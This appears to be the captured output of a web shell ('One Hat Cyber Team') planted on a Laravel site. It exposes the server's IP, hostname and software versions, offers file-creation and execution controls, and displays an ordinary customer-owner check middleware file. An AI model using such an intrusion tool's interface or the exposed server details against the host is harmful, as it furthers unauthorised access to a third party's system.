⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.216
Server IP:
65.21.180.239
Server:
Linux gowhm.eplangoweb.com 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.0.30
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
eplangoweb
/
www
/
app
/
Http
/
Middleware
/
View File Name :
CheckWebsiteOwner.php
<?php namespace App\Http\Middleware; use Closure; use Illuminate\Support\Facades\Auth; use App\Http\Helpers\UserPermissionHelper; class CheckWebsiteOwner { /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ public function handle($request, Closure $next) { // this is only for path based URL $author = getUser(); if (!empty($author)) { // if the 'Website Owner' of the 'Autherticated User' does not match with the 'Retrieved Owner', then redirect to home if (Auth::guard('customer')->check() && Auth::guard('customer')->user()->user->username != $author->username) { return redirect()->route('customer.dashboard', Auth::guard('customer')->user()->user->username); } } return $next($request); } }